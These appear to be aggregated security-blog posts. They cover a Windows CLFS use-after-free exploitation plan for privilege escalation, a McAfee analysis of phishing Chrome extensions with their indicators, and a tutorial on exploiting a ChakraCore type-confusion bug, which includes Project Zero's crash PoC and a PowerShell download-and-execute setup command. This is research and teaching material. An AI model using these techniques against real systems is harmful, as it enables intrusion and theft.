Note that if the current StateData pointer is large enough for the new data, code execution from [8] jumps directly to [13]. Length bytes from the InputBuffer parameter are then copied into the StateData pointer at [13]. The DataSize field in the _WNF_STATE_DATA header is also filled at [13].

Deleting WNF State Name

A WNF State Name can be deleted via a call to NtDeleteWnfStateName(). Among other things, this function frees the associated name instance and StateData buffers described above.

Querying WNF State Data

When WNF State Data is queried via a call to NtQueryWnfStateData(), ExpWnfReadStateData() is called internally to read from the StateData pointer. The pseudocode of ExpWnfReadStateData() is listed below.

undefined4
ExpWnfReadStateData(_WNF_NAME_INSTANCE *NameInstance,undefined4 *param_2,void *OutBuf,uint OutBufSize,undefined4 *param_5)

{

[Truncated]

[14]

    StateData = NameInstance->StateData;
    if (StateData == NULL) {
        *param_2 = 0;
    }
    else {
        if (StateData != (_WNF_STATE_DATA *)0x1) {
            *param_2 = StateData->ChangeStamp;
            *param_5 = StateData->DataSize;

[15]

            if (OutBufSize < StateData->DataSize) {
                local_48 = 0xc0000023;
            }
            else {

[16]

                RtlCopyMemory(OutBuf,StateData + 1,(ulonglong)StateData->DataSize);
                local_48 = 0;
            }
            goto LAB_fffff8054ce2383f;
        }
        *param_2 = NameInstance->CurrentChangeStamp;
    }


The OutBuf and OutBufSize parameters to the function are provided by the user to store the queried data. The StateData pointer is first retrieved from the related name instance of type _WNF_NAME_INSTANCE at [14]. If the output buffer is large enough to store the data (which is checked at [15]), StateData->DataSize bytes starting right after the StateData header are copied into the output buffer at [16].

Pipe Attributes

After the creation of a pipe, a user has the ability to add attributes to the pipe. The attributes are a key-value pair, and are stored into a linked list. The PipeAttribute object is allocated in the PagedPool, and has the following structure:

struct PipeAttribute {
    LIST_ENTRY list;
    char * AttributeName;
    uint64_t AttributeValueSize;
    char * AttributeValue;
    char data[0];
};

The size of the allocation and the data is fully controlled by an attacker. The AttributeName and AttributeValue are pointers pointing at different offsets of the data field. A pipe attribute can be created on a pipe using the NtFsControlFile syscall, and the 0x11003C control code.

The attribute’s value can then be read using the 0x110038 control code. The AttributeValue pointer and the AttributeValueSize will be used to read the attribute value and return it to the user.

Steps for Exploitation

Exploitation of the vulnerability involves the following steps:

  1. Spray large number of Pipe Attributes of size 0x7a00 to use up all fragmented chunks in VS backend and allocate new ones. The last few will each be allocated on separate segments of size 0x11000, with the last (0x11000-0x7a00) bytes of each segment unused.
  2. Delete one of the later Pipe Attributes. This will consolidate the first 0x7a00 bytes with the remaining bytes in the rest of the segment, and put the entire segment back in the VS backend.
  3. Allocate the vulnerable chunk of size 0x7a00 by opening the malicious Base Log File. This will get allocated from the freed segment in Step 2. Similar to Step 1, the last (0x11000-0x7a00) bytes will be unused. The vulnerable chunk will be freed for the first time shortly afterwards. Similar to Step 2, the entire segment will be back in the VS backend.
  4. Spray large number of WNF_STATE_DATA objects of size 0x1000. This will first use up fragmented chunks in VS backend and then the entire freed segment in Step 3. Note that no size lesser than 0x1000 (and maximum is 0x1000 for WNF_STATE_DATA objects) can be used because that will have an additional header that will corrupt the header in the vulnerable chunk, blocking a double free.
  5. Free the vulnerable chunk for the second time. This will end up freeing the memory of one of the WNF_STATE_DATA objects allocated in Step 4, without actually releasing the object.
  6. Allocate a WNF_STATE_DATA object of size 0x1000 over the freed chunk in Step 5. This will create 2 entirely overlapping WNF_STATE_DATA objects of size 0x1000.
  7. Free all the WNF_STATE_DATA objects allocated in Step 4. This will once again put the entire vulnerable segment (of size 0x11000) back in the VS backend.
  8. Spray large number of WNF_STATE_DATA objects of size 0x700, each with unique data. This will first use up fragmented chunks in VS backend and then the entire freed segment in Step 7. Each page in the freed segment is now split as (0x700,0x700,0x1d0 (remaining)). Note, here size 0x700 can be used because the rest of the exploit doesn’t require any more freeing of the vulnerable chunk. This now creates 2 overlapping WNF_STATE_DATA objects, one of size 0x1000 (allocated in Step 6) and other of size 0x700 (allocated here). Size 0x700 is specifically chosen for 2 reasons. The first reason being that the additional chunk header (of size 0x10) in the 0x700-sized object means that the StateData header of the 0x1000-sized object is 0x10 bytes before the StateData header of the 0x700-sized object. Thus, the StateData header of the 0x700-sized object overlaps with the StateData data of the 0x1000-sized object.
  9. Update the StateData of the 0x1000-sized object to corrupt the StateData header of the 0x700-sized object such that the AllocatedSize and DataSize fields of the 0x700-sized object is increased from 0x6c0 (0x700-0x40) to 0x7000 each. Now, querying or updating the 0x700-sized object will result in an out-of-bounds read/write into adjacent 0x700-sized WNF_STATE_DATA objects allocated in Step 8.
  10. Identify the corrupted 0x700-sized WNF_STATE_DATA object by querying all of them with a Buffer size of 0x700. All will return successfully except for the corrupted one, which will return with an error indicating that the buffer size is too small. This is because the DataSize field was increased (refer to Step 9).
  11. Query the corrupted 0x700-sized WNF_STATE_DATA object (identified in Step 10) to further identify the next 2 adjacent WNF_STATE_DATA objects using the OOB read. The first of these will be at offset 0x710 and the second will be at offset 0x1000 from the corrupted 0x700-sized WNF_STATE_DATA object.
  12. Free the second newly identified WNF_STATE_DATA object of size 0x700.
  13. Create a new process, which will run with the same privileges as the exploit process. The token of this new process is allocated over the freed WNF_STATE_DATA object in Step 12. This is the second reason for choosing size 0x700, as the size of the token object is also 0x700.
  14. Query the corrupted 0x700-sized WNF_STATE_DATA object (identified in Step 10) to identify the contents of the token allocated in Step 13 using the OOB read. Calculate the offset to the Privileges.Enabled and Privileges.Present fields in the token*object.
  15. Update the corrupted 0x700-sized WNF_STATE_DATA object to corrupt the first adjacent object (identified in Step 11) using the OOB write. Increase the AllocatedSize and DataSize fields in the StateData pointer (refer to Step 9).
  16. Update the most recent corrupted WNF_STATE_DATA object (Step 15) to corrupt the adjacent token object using the OOB write. Overwrite the Privileges.Enabled and Privileges.Presentfields in the token object to 0xffffffffffffffff, thereby setting all the privileges. This completes the LPE.

Conclusion

We hope you enjoyed reading the deep dive into a use-after-free in CLFS, and if you did, go ahead and check out our other blog posts on vulnerability analysis and exploitation. If you haven’t already, make sure to follow us on Twitter to keep up to date with our work. Happy hacking!

The post Exploiting a use-after-free in Windows Common Logging File System (CLFS) appeared first on Exodus Intelligence.

Imposter Netflix Chrome Extension Dupes 100k Users

10 March 2022 at 19:26

Authored by Oliver Devane, Vallabh Chole, and Aayush Tyagi 

McAfee has recently observed several malicious Chrome Extensions which, once installed, will redirect users to phishing sites, insert Affiliate IDs and modify legitimate websites to exfiltrate personally identifiable information (PII) data. According to the Google Extension Chrome Store, the combined install base is 100,000 

McAfee Labs has observed these extensions are prevalent in USA, Europe and India as we can observe in the heatmap below. 

The perpetrator targets over 1,400 domains, where 100 of them belong to the top 10,000 Alexa ranking including hbomax.com, hotels.com and expedia.com.

One extension, ‘Netflix Party’, mimics the original Netflix Party extension, which allows groups of people to watch Netflix shows at the same time. However, this version monitors all the websites you visit and performs several malicious activities.  

The malicious actor behind the extensions has created several Twitter accounts and fake review websites to deceive users into trusting and installing the extensions. 

The victim will be tricked into installing the extension and their data will be stolen when browsing a gift card site.  

The details of each step are as follows: 

  1. The perpetrator creates malicious extensions and adds them to the Chrome Extension Store. They create fake websites to review the extensions and fake Twitter accounts to publicize them.  
  2. A victim may perform a web or Twitter search for Netflix Party, read the review and click on a link that will lead them to the Google Chrome Store.  
  3. They click to install the Extension and accept the permissions. 
  4. The victim will either perform a web search or directly navigate to the gift card website. The Extension will identify the website and redirect them to the phishing page. 
  5. The victim will enter their gift card information on the phishing page. 
  6. The gift card information is posted to the server to which the malicious actor has access. They can now use or sell the stolen data and the victim will lose their funds. 

Technical Analysis 

This section contains the technical analysis of the malicious chrome extension “bncibciebfeopcomdaknelhcohiidaoe“. 

Manifest.json 

The manifest.json file contains the permissions of the extension. The ‘unsafe-eval’ permission in the ‘content_security_policy’ and the allowed use of content.js on any website visited by the user is of particular concern 

Background.js 

When the extension is installed, the background.js script will be loaded. This file uses a simple obfuscation technique of putting all the code on one line which makes it difficult to read. This is easily cleaned up by using a code beautifier and the image below shows the obfuscated script on the first line and the cleaned-up code below the red arrow.  

This script accesses https://accessdashboard[.]live to download a script and store it as variable ‘code’ in Chromes local storage. This stored variable is then referenced in the content.js script, which is executed on every visited website.  

Content.js 

After beautification, we see the code will read the malicious script from the ‘code’ variable which was previously stored. 

‘Code’  

The malicious code has three main functions, redirection for phishing, modifying of cookies to add AffiliateIDs, and modifying of website code to add chat windows.  

Redirection for Phishing 

Redirection for phishing works by checking if the URL being accessed matches a list, and conditionally redirects to a malicious IP that hosts the phishing site.  

URLs monitored are: 

  • https[:]//www.target.com/guest/gift-card-balance 
  • https[:]//www.macys.com/account/giftcardbalance 
  • https[:]//www.nike.com/orders/gift-card-lookup 
  • https[:]//www.nordstrom.com/nordstrom-gift-cards 
  • https[:]//www.sephora.com/beauty/giftcards 
  • https[:]//www.sephoragiftcardbalance.com 
  • https[:]//balance.amexgiftcard.com 
  • https[:]//prepaidbalance.americanexpress.com/GPTHBIWeb/validateIPAction.do?clientkey=retail%20sales%20channel 
  • https[:]//amexprepaidcard.com 
  • [:]//secure4.store.apple.com/shop/giftcard/balance 

Upon navigating to one of the above sites, the user will be redirected to 164[.]90[.]144[.]88. An observant user would notice that the URL would have changed to an IP address, but some users may not. 

The image below shows the Apple Phishing site and the various phishing kits being hosted on this server. 

The phishing sites share similar codes. If a user enters their gift card information, the data will be posted to 52.8.106.52. A network capture of the post request is shown below: 

Modifying of cookies to add AffiliateIDs 

The second malicious function contains AIPStore which is a dictionary containing a list of URLs and their respective monetizing sites which provide affiliate IDs. This function works by loading new tabs which will result in cookies being set on the visited sites. The flow below describes how the extension will work. 

  1. A user navigates to a retail website 
  2. If the retail website is contained in the AIPStore keymap, the extension will load a new tab with a link to a monetizing site which sets the cookie with the affiliate ID. The new tab is then closed, and the cookie will persist.  
  3. The user will be unaware that a cookie would have been set and they will continue to browse the website. 
  4. Upon purchasing any goods, the Affiliate ID will be recognized by the site vendor and commission will be sent to the Affiliate ID owner which would be the Malicious Actor 

The left image below shows the original site with no affiliate cookie, the one on the right highlights the cookie that has been added by the extension. 

Chat Windows 

The final function checks a list of URLs being accessed and if they match, a JS script will be injected into the HTML code which will result in a chat window being displayed. The image below shows the injected script and the chat window. 

The chat window may be used by the malicious actor to request PII data, credit card, and product key information. 

Conclusion 

This threat is a good example of the lengths malicious actors will go to trick users into installing malware such as creating Twitter accounts and fake review websites.  

McAfee advises its customers to be cautious when installing Chrome Extensions and pay attention to the permissions that they are requesting.  

The permissions will be shown by Chrome before the installation of the Extension. Customers should take extra steps to verify the authenticity if the extension is requesting permissions that enable it to run on every website you visit such as the one detailed in this blog 

McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee WebAdvisor as shown below.  

The Malicious code within the extension is detected as Phish-Extension. Please perform a ‘Full’ scan via the product. 

Type  Value  Product  Detected 
URL – Phishing Sites  164.90.141.88/*  McAfee WebAdvisor  Blocked 
Chrome Extension  netflix-party – bncibciebfeopcomdaknelhcohiidaoe  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  teleparty – flddpiffdlibegmclipfcnmaibecaobi  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hbo-max-watch-party – dkdjiiihnadmgmmfobidmmegidmmjobi  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  prime-watch-party – hhllgokdpekfchhhiknedpppjhgicfgg  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  private-watch-party – maolinhbkonpckjldhnocgilkabpfodc  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hotstar-ad-blocker – hacogolfhplehfdeknkjnlblnghglfbp  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hbo-ad-blocker – cbchmocclikhalhkckeiofpboloaakim  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  blocksite – pfhjfcifolioiddfgicgkapbkfndaodc  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hbo-enhanced – pkdpclgpnnfhpapcnffgjbplfbmoejbj  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  hulu-watch-party – hkanhigmilpgifamljmnfppnllckkpda  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  disney-plus-watch-party – flapondhpgmggemifmemcmicjodpmkjb  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  spotify-ad-blocker – jgofflaejgklikbnoefbfmhfohlnockd  Total Protection and LiveSafe  Phish-Extension 
Chrome Extension  ott-party – lldibibpehfomjljogedjhaldedlmfck  Total Protection and LiveSafe  Phish-Extension 

 

 

The post Imposter Netflix Chrome Extension Dupes 100k Users appeared first on McAfee Blog.

Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 1)

11 March 2022 at 00:00

Introduction

Browser exploitation - it has been the bane of my existence for quite some time now. A while ago, I did a write-up on a very trivial use-after-free vulnerability in an older version of Internet Explorer. This left me longing for more, as ASLR for instance was non-issue. Also, use-after-free bugs within the DOM have practically been mitigated with the advent of MemGC. Additional mitigations, such as Control Flow Guard (CFG), were also not present.

In the name of understanding more modern browser exploitation (specifically Windows-based exploitation), I searched and scoured the internet for resources. I constantly picked the topic up, only to set it down again. I simply just “didn’t get it”. This was for a variety of factors, including browser exploitation being a very complex issue, with research on the topic being distributed accordingly. I’ve done my fair share of tinkering in the kernel, but browsers were a different beast for me.

Additionally, I found almost no resources that went from start to finish on more “modern” exploits, such as attacking Just-In-Time (JIT) compilers specifically on Windows systems. Not only that, almost all resources available online target Linux operating systems. This is fine, from a browser primitive perspective. However, when it comes to things like exploit controls such as CFG, to actual exploitation primitives, this can be highly dependent on the OS. As someone who focuses exclusively on Windows, this led to additional headache and disappointment.

I recently stumbled across two resources: the first being a Google Project Zero issue for the vulnerability we will be exploiting in this post, CVE-2019-0567. Additionally, I found an awesome writeup on a “sister” vulnerability to CVE-2019-0539 (which was also reported by Project Zero) by Perception Point.

The Perception Point blog post was a great read, but I felt it was more targeted at folks who already have fairly decent familiarity with exploit primitives in the browser. There is absolutely nothing wrong with this, and I think this is still makes for an excellent blog post that I would highly recommend reading if you’ve done any kind of browser vulnerability research before. However, for someone in my shoes that has never touched JIT compiler vulnerability research in the browser space, there was a lack of knowledge I had to make up for, not least because the post actually just ended on achieving the read/write primitive and left code execution to the reader.

There is also other prerequisite knowledge needed, such as why does JIT compilation even present an attack surface in the first place? How are JavaScript objects laid out in memory? Since JavaScript values are usually 32-bit, how can that be leveraged for 64-bit exploitation? How do we actually gain code execution after obtaining a read/write primitive with DEP, ASLR, CFG, Arbitrary Code Guard (ACG), no child processes, and many other mitigations in Edge involved? These are all questions I needed answers to. To share how I went about addressing these questions, and for those also looking to get into browser exploitation, I am releasing a three part blog series on browser exploitation.

Part one (this blog) will go as follows:

  1. Configuring and building up a browser exploitation environment
  2. Understanding JavaScript objects and their layout in memory (ChakraCore/Chakra)
  3. CVE-2019-0567 root cause analysis and attempting to demystify type confusion bugs in JIT compilers

Part two will include:

  1. Going from crash to exploit (and dealing with ASLR, DEP, and CFG along the way) in ChakraCore
  2. Code execution

Part three, lastly, will deconstruct the following topics:

  1. Porting the exploit to Microsoft Edge (Chakra-based Edge)
  2. Bypassing ACG, using a now-patched CVE
  3. Code execution in Edge

There are also a few limitations you should be aware of as well:

  1. In this blog series we will have to bypass ACG. The bypass we will be using has been mitigated as of Windows 10 RS4.
  2. I am also aware of Intel Control-Flow Enforcement Technology (CET), which is a mitigation that now exists (although it has yet to achieve widespread adoption). The version of Edge we are targeting doesn’t have CET.
  3. Our initial analysis will be done with the ch.exe application, which is the ChakraCore shell. This is essentially a command-line JavaScript engine that can directly execute JavaScript (just as a browser does). Think of this as the “rendering” part of the browser, but without the graphics. Whatever can occur in ch.exe can occur in Edge itself (Chakra-based Edge). Our final exploit, as we will see in part three, will be detonated in Edge itself. However, ch.exe is a very powerful and useful debugging tool.
  4. Chakra, and the open-source twin ChakraCore, are both deprecated in their use with Microsoft Edge. Edge now runs on the V8 JavaScript engine, which is used by Chrome-based browsers.

Finally, from an exploitation perspective, none of what I am doing would have been possible without Bruno Keith’s amazing prior work surrounding Chakra exploit primitives, the Project Zero issues, or the Perception Point blog post.

Configuring a Chakra/ChakraCore Environment

Before beginning, Chakra is the name of the “Microsoft proprietary” JavaScript engine used with Edge before V8. The “open-source” variant is known as ChakraCore. We will reference ChakraCore for this blog post, as the source code is available. CVE-2019-0567 affects both “versions”, and at the end we will also port our exploit to actually target Chakra/Edge (we will be doing analysis in ChakraCore).

For the purposes of this blog post, and part two, we will be performing analysis (and exploitation in part two) with the open-source version of Chakra, the ChakraCore JavaScript engine + ch.exe shell. In part three, we will perform exploitation with the standard Microsoft Edge (pre-V8 JavaScript engine) browser and Chakra JavaScript engine

So we can knock out “two birds with one stone”, our environment needs to first contain a pre-V8 version of Edge, as well as a version of Edge that doesn’t have the patch applied for CVE-2019-0567 (the type confusion vulnerability) or CVE-2017-8637 (our ACG bypass primitive). Looking at the Microsoft advisory for CVE-2019-0567, we can see that the applicable patch is KB4480961. The CVE-2017-8637 advisory can be found here. The applicable patch in this case is KB4034674.

The second “bird” we need to address is dealing with ChakraCore.

Windows 10 1703 64-bit is a version of Windows that not only can support ChakraCore, but also comes (by default) with a pre-patched version of Edge via a clean installation. So, for the purposes of this blog post, the first thing we need to do is grab a version of Windows 10 1703 (unpatched with no service packs) and install it in a virtual machine. You will probably want to disable automatic updates, as well. How this version of Windows is obtained is entirely up to the reader.

If you cannot obtain a version of Windows 10 1703, another option is to just not worry about Edge or a specific version of Windows. We will be using ch.exe, the ChakraCore shell, along with the ChakraCore engine to perform vulnerability analysis and exploit development. In part two, our exploit will be done with ch.exe. Part three is entirely dedicated to Microsoft Edge. If installation of Edge proves to be too much of a hassle, the “gritty” details about the exploit development process will be in part two. Do be warned, however, that Edge contains a few more mitigations that make exploitation much more arduous. Because of this, I highly recommend you get your hands on the applicable image to follow along with all three posts. However, the exploit primitives are identical between a ch.exe environment and an Edge environment.

After installing a Windows 10 1703 virtual machine (I highly recommend making the hard drive 100GB at least), the next step for us will be installing ChakraCore. First, we need to install git on our Windows machine. This can be done most easily by quickly installing Scoop.sh via PowerShell and then using a PowerShell web cradle to execute scoop install git from the PowerShell prompt. To do this, first run PowerShell as an administrator and then execute the following commands:

  1. Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser (then enter a to say “Yes to All”)
  2. [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  3. Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://get.scoop.sh')
  4. scoop install git

After git is installed, you will need to also download Microsoft Visual Studio. Visual Studio 2017 works just fine and I have included a direct download link from Microsoft here. After downloading, just configure Visual Studio to install Desktop development with C++ and all corresponding defaults.

After git and Visual Studio are installed, we can go ahead and install ChakraCore. ChakraCore is a full fledged JavaScript environment with a runtime, etc. so it is quite hefty and may take a few seconds when cloning the repository. Open up a cmd.exe prompt and execute the following commands:

  1. cd C:\Wherever\you\want\to\install
  2. git clone https://github.com/Microsoft/ChakraCore.git
  3. cd ChakraCore
  4. git checkout 331aa3931ab69ca2bd64f7e020165e693b8030b5 (this is the commit hash associated with the vulnerability)

After ChakraCore is downloaded, and the vulnerable commit “checked out”, we need to configure ChakraCore to compile with Control Flow Guard (CFG). To do this, go to the ChakraCore folder and open the Build directory. In there, you will see a Visual Studio Solution file. Double-click and select “Visual Studio 2017” (this is not a “required” step, but we want to add CFG as a mitigation we have to eventually bypass!).

Note that when Visual Studio opens it will want you to sign in with an account. You can bypass this by telling Visual Studio you will do it later, and you will then get 30 days of unfettered access.

At the top of the Visual Studio window, select x64 as such. Make sure to leave Debug as is.

After selecting x64, click Project > Properties in Visual Studio to configure ChakraCore properties. From here, we want to select C/C++ > All Options and turn on Control Flow Guard. Then, press Apply then Ok.

Click File > Save All in Visual Studio to save all of our changes to the solution.

We now need to open up a x64 Native Tools Command Prompt for VS 2017 prompt. To do this, hit the Windows key and start typing in x64 Native Tools Command.

Lastly, we need to actually build the project by executing the following the command: msbuild /m /p:Platform=x64 /p:Configuration=Debug Build\Chakra.Core.sln (note that if you do not use a x64 Native Tools Command Prompt for VS 2017 prompt, msbuild won’t be a valid command).

These steps should have installed ChakraCore on your machine. We can validate this by opening up a new cmd.exe prompt and executing the following commands:

  1. cd C:\path\to\ChakraCore
  2. cd Build\VcBuild\bin\x64_debug\
  3. ch.exe --version

We can clearly see that the ChakraCore shell is working, and the ChakraCore engine (chakracore.dll) is present! Now that we have Edge and ChakraCore installed, we can begin our analysis by examining how JavaScript objects are laid out in memory within Chakra/ChakraCore and then exploitation!

JavaScript Objects - Chakra/ChakraCore Edition

The first key to understanding modern vulnerabilities, such as type confusion, is understanding how JavaScript objects are laid out in memory. As we know, in a programming language like C, explicit data types are present. int var and char* string are two examples - the first being an integer and the second being an array of characters, or chars. However, in ChakraCore, objects can be declared as such: var a = {o: 1, b: 2} or a = "Testing". How does JavaScript know how to treat/represent a given object in memory when there is no explicit data type information? This is the job of ChakraCore - to determine the type of object being used and how to update and manage it accordingly.

All the information I am providing, about JavaScript objects, is from this blog, written by a developer of Chakra. While the linked blog focuses on both “static” and “dynamic” objects, we will be focusing on specifically how ChakraCore manages dynamic objects, as static objects are pretty straight forward and are uninteresting for our purposes.

So firstly, what is a dynamic object? A dynamic object is pretty much any object that can’t be represented by a “static” object (static objects consists of data types like numbers, strings, and booleans). For example, the following would be represented in ChakraCore as a dynamic object:

let dynamicObject = {a: 1, b:2};
dynamicObject.a = 2;			// Updating property a to the value of 2 (previously it was 1)
dynamicObject.c = "string";		// Adding a property called c, which is a string

print(dynamicObject.a);			// Print property a (to print, ChakraCore needs to retrieve this property from the object)
print(dynamicObject.c);			// Print property c (to print, ChakraCore needs to retrieve this property from the object)

You can see why this is treated as a dynamic object, instead of a static one. Not only are two data types involved (property a is a number and property c is a string), but they are stored as properties (think of C-structures) in the object. There is no way to account for every combination of properties and data types, so ChakraCore provides a way to “dynamically” handle these situations as they arise (a la “dynamic objects”).

ChakraCore has to treat these objects different then, say, a simple let a = 1 static object. This “treatment” and representation, in memory, of a dynamic object is exactly what we will focus on now. Having said all of that - exactly how does this layout look? Let’s cite some examples below to find out.

Here is the JavaScript code we will use to view the layout in the debugger:

print("DEBUG");
let a = {b: 1, c: 2};

What we will do here is save the above code in a script called test.js and set a breakpoint on the function ch!WScriptJsrt::EchoCallback within ch.exe. The EchoCallback function is responsible for print() operations, meaning this is synonymous with setting a breakpoint in ch.exe to break every time print() is called (yes, we are using this print statement to aid in debugging). After setting the breakpoint, we can resume execution and break on EchoCallback.

Now that we have hit our breakpoint, we know that anything that happens after this point should involve the JavaScript code after the print() statement from test.js. The reason we do this is because the next function we are going to inspect is constantly called in the background, and we want to ensure we are just checking the specific function call (coming up next) that corresponds to our object creation, to examine it in memory.

Now that we have reached the EchoCallback breakpoint, we need to now set a breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked. Note that chakracore.dll isn’t loaded into the process space upon ch.exe executing, and is only loaded after our previous execution.

Once we hit chakracore!Js::DynamicTypeHandler::SetSlotUnchecked, we can finally start examining our object. Since we built ChakraCore locally, as well, we have access to the source code. Both WinDbg and WinDbg Preview should populate the source upon execution on this function.

This code may look a bit confusing. That is perfectly okay! Just know this function is responsible for filling out dynamic objects with their needed property values (in this case, values provided by us in test.js via a.b and a.c).

Right now the object we are dealing with is in the RCX register (per __fastcall we know RCX is the DynamicObject * instance parameter in the source code). This can be seen in the next image below. Since the function hasn’t executed yet, this value in RCX is currently just a blank “skeleton” a object waiting to be filled.

We know that we are setting two values in the object a, so we need to execute this function twice. To do this, let’s first preserve RCX in the debugger and then execute g once in WinDbg, which will set the first value, and then we will execute the function again, but this time with the command pt to break before the function returns, so we can examine the object contents.

Perfect. After executing our function twice, but just before the function returns, let’s inspect the contents of what was previously held in RCX (our a object).

The first thing that stands out to us is that this is seemingly some type of “structure”, with the first 0x8 bytes holding a pointer to the DynamicObject virtual function table (vftable). The second 0x8 bytes seem to be some pointer within the same address space we are currently executing in. After this, we can see our values 1 and 2 are located 0x8 and 0x10 bytes after the aforementioned pointer (and 0x10/0x18 bytes from the actual beginning of our “structure”). Our values also have a seemingly random 1 in them. More on this in a moment.

Recall that object a has two properties: b (set to 1) and c (set to 2). They were declared and initialized “inline”, meaning the properties were assigned a value in the same line as the object actually being instantiated (let a = {b: 1, c: 2}). Dynamic objects with inlined-properties (like in our case) are represented as follows:

Note that the property values are written to the dynamic object at an offset of 0x10.

If we compare this prototype to the values from WinDbg, we can confirm that our object is a dynamic object with inlined-properties! This means the previous seemingly “random” pointer after the vftable is actually the address of data structure known as a type in ChakraCore. type isn’t too important to us, from an exploitation perspective, other than we should be aware this address contains data about the object, such as knowing where properties are stored, the TypeId (which is an internal representation ChakraCore uses to determine if the object is a string, number, etc.), a pointer to the JavaScript library, and other information. All information can be found in the ChakraCore code base.

Secondly, let’s go back for a second and talk about why our property values have a random 1 in the upper 32-bits (001000000000001). This 1 in the upper 32-bits is used to “tag” a value in order to mark it as an integer in ChakraCore. Any value that is prepended with 00100000 is an integer in ChakraCore. How is this possible? This is because ChakraCore, and most JavaScript engines, only allow 32-bit values, excluding pointers (think of integers, floats, etc.). However, an example of an object represented via a pointer would be a string, just like in C where a string is an array of characters represented by a pointer. Another example would be declaring something like an ArrayBuffer or other JavaScript object, which would also be represented by a pointer.

Since only the lower 32-bits of a 64-bit value (since we are on a 64-bit computer) are used, the upper 32-bits (more specifically, it is really only the upper 17-bits that are used) can be leveraged for other purposes, such as this “tagging” process. Do not over think this, if it doesn’t make sense now that is perfectly okay. Just know JavaScript (in ChakraCore) uses the upper 17-bits to hold information about the data type of the object (or property of a dynamic object in this case), excluding types represented by pointers as we mentioned. This process is actually referred to as “NaN-boxing”, meaning the upper 17-bits of a 64-bit value (remember we are on a 64-bit system) are reserved for providing type information about a given value. Anything else that doesn’t have information stored in the upper 17-bits can be treated as a pointer.

Let’s now update our test.js to see how an object looks when inline properties aren’t used.

print("DEBUG");
let a = {};
a.b = 1;
a.c = 2;
a.d = 3;
a.e = 4;

What we will do here is restart the application in WinDbg, clear the second breakpoint (the breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked), and then let execution break on the print() operation again.

After landing on the print() breakpoint, we will now re-implement the breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked, resume execution to hit the breakpoint, examine RCX (where our dynamic object should be, if we recall from the last object we debugged), and execute the SetSlotUnchecked function to see our property values get updated.

Now, according to our debugging last time, this should be the address of our object in RCX. However, taking a look at the vftable in this case we can see it points to a GlobalObject vftable, not a DynamicObject vftable. This is indicative the breakpoint was hit, but this isn’t the object we created. We can simply just hit g in the debugger again to see if the next call will act on our object. Finding this out is simply just a matter of trial and error by looking in RCX to see if the vftable comes from DynamicObject. Another good way to identify if this is our object or not is to see if everything else in the object, outside of the vftable and type, are set to 0. This could be indicative this was newly allocated memory and isn’t filled out as a “full” dynamic object with property values set.

Pressing g again, we can see now we have found our object. Notice all of the memory outside of the vftable and type is initialized to 0, as our property values haven’t been set yet.

Here we can see a slightly different layout. Where we had the value 1 last time, in our first “inlined” property, we now see another pointer in the same address space as type. Examining this pointer, we can see the value is 0.

Let’s press g in WinDbg again to execute another call to chakracore!Js::DynamicTypeHandler::SetSlotUnchecked to see how this object looks after our first value is written (1) to the object.

Interesting! This pointer, after type (where our “inlined” dynamic object value previously was), seems to contain our first value of a.b = 1!

Let’s execute g two more times to see if our values keep getting written to this pointer.

We can clearly see our values this time around, instead of being stored directly in the object, are stored in a pointer under type. This pointer is actually the address of an array known in ChakraCore as auxSlots. auxSlots is an array that is used to hold property values of an object, starting at auxSlots[0] holding the first property value, auxSlots[1] holding the second, and so on. Here is how this looks in memory.

The main difference between this and our previous “inlined” dynamic object is that now our properties are being referenced through an array, versus directly in the object “body” itself. Notice, however, that whether a dynamic object leverages the auxSlots array or inlined-properties - both start at an offset of 0x10 within a dynamic object (the first inline property value starts at dynamic_object+0x10, and auxSlots also starts at an offset of 0x10).

The ChakraCore codebase actually has a diagram in the comments of the DynamicObject.h header file with this information.

However, we did not talk about “scenario #2” in the above image. We can see in #2 that it is also possible to have a dynamic object that not only has an auxSlots array which contain property values, but also inlined-properties set directly in the object. We will not be leveraging this for exploitation, but this is possible if an object starts out with a few inlined-properties and then later on other value(s) are added. An example would be:

let a = {b: 1, c: 2, d: 3, e: 4};
a.f = 5;

Since we declared some properties inline, and then we also declared a property value after, there would be a combination of property values stored inline and also stored in the auxSlots array. Again, we will not be leveraging this memory layout for our purposes but it has been provided in this blog post for continuity purposes and to show it is possible.

CVE-2019-0567: An Analysis of a Browser-Based Type Confusion Vulnerability

Building off of our understanding of JavaScript objects and their layout in memory, and with our exploit development environment configured, let’s now put these theories in practice.

Let’s start off by executing the following JavaScript in ch.exe. Save the following JavaScript code in a file named poc.js and run the following command: ch.exe C:\Path\to\poc.js. Please note that the following proof-of-concept code comes from the Google Project Zero issue, found here. Note that there are two proofs-of-concepts here. We will be using the latter one (PoC for InitProto).

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234);

    print(o.a);
}

main();

As we can see from the image above, when our JavaScript code is executed, an access violation occurs! This is likely due to invalid memory being accessed. Let’s execute this script again, but this time attached to WinDbg.

Executing the script, we can see the offending instruction in regards to the access violation.

Since ChakraCore is open-sourced, we can also see the corresponding source code.

Moving on, let’s take a look at the disassembly of the crash.

We can clearly see an invalid memory address (in this case 0x1234) is being accessed. Obviously we can control this value as an attacker, as it was supplied by us in the proof-of-concept.

